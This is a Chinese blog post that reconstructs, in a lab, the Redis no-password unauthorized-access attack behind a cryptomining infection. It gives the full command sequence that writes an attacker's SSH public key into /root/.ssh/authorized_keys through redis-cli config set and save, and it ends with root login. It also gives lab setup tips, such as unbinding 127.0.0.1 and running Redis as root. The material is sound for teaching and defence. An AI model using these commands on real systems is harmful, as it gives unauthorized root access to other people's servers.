Redis默认空口令未授权访问

前几天接到总部的电话说是要我配合他们信息安全部门调查一下我们这边一台中了挖矿病毒的主机,总部大佬远程过来一顿操作发现是通过redis进来的,redis因为默认设置是没有密码的,如果主机是用root身份运行的redis,就可以直接写入ssh密钥来登录到主机。大佬操作完之后,我模拟了一下环境,和大家分享一下攻击过程。

一、测试环境

测试对象 IP 靶机(centos7) 192.168.2.120 攻击机(kali) 192.168.2.198

二、攻击过程

2.1 端口扫描

使用nmap扫描远程主机:

可以通过:

nmap -p- 192.168.2.120

来进行全端口扫描,这边由于是测试环境,我就直接针对扫描了

2.2 远程接入redis

从kali远程连接到这台主机

如果redis没有设置密码验证,就会想上图一样直接进入redis的命令行中,在这里可以通过info命令查看redis的版本,系统的内核版本,redis配置文件位置等敏感信息。

2.3 写入ssh公钥

如果目标主机是用root身份启动的redis,那么redis就对root文件夹有读写权限,我们可以在本机生成一对ssh密钥,将本机的公钥最为数据插入数据库,然后修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,将缓冲的数据保存在文件里,这样就会在靶机的/root/.ssh文件夹下生成一个授权的key,攻击机就可以直接ssh登录到靶机上。

首先在kali上生成key,输入命令,中间一路回车即可:

ssh-keygen -t rsa

得到的.pub文件就是攻击机的公钥,我们将它写入到一个txt文件中,前后需用 换行避免公钥和redis中的其他缓存数据混合:

(echo -e "

"; cat id_rsa.pub; echo -e "

") > key.txt

将key.txt文件中的内容写入靶机redis的缓冲中:

cat /root/.ssh/key.txt | redis-cli -h 192.168.2.120 -x set test

再次连接到靶机redis,将其备份路径改为/root/.ssh,将保存文件名改为authorized_keys,然后使用save命令保存。

redis-cli -h 192.168.2.120
config set dir /root/.ssh
config set dbfilename authorized_keys
save

这时候,攻击机的公钥已经成功写入了,我们从攻击机直接ssh登录靶机:

可以看到,此时不需要输入密码就可以直接登录且是root权限。

三、问题处理

3.1 远程无法连接到redis

redis安装时,默认时绑定的127.0.0.1这个地址的,其他地址都不可以连接,只需要修改/etc/redis.conf文件,将bind 127.0.0.1这一句注释掉即可

3.2 设置缓存文件夹为/root/.ssh时报错

如果是使用yum或者apt安装的redis,新版本默认创建redis用户来运行redis,这个用户对root目录是没有操作权限的,我们需要将redis的运行用户改为root(请仅在测试时做这个操作,使用root来运行应用程序是一件很危险的事情),只需要修改

redis.service这个文件中的内容即可:

经验分享 程序员 微信小程序 职场和发展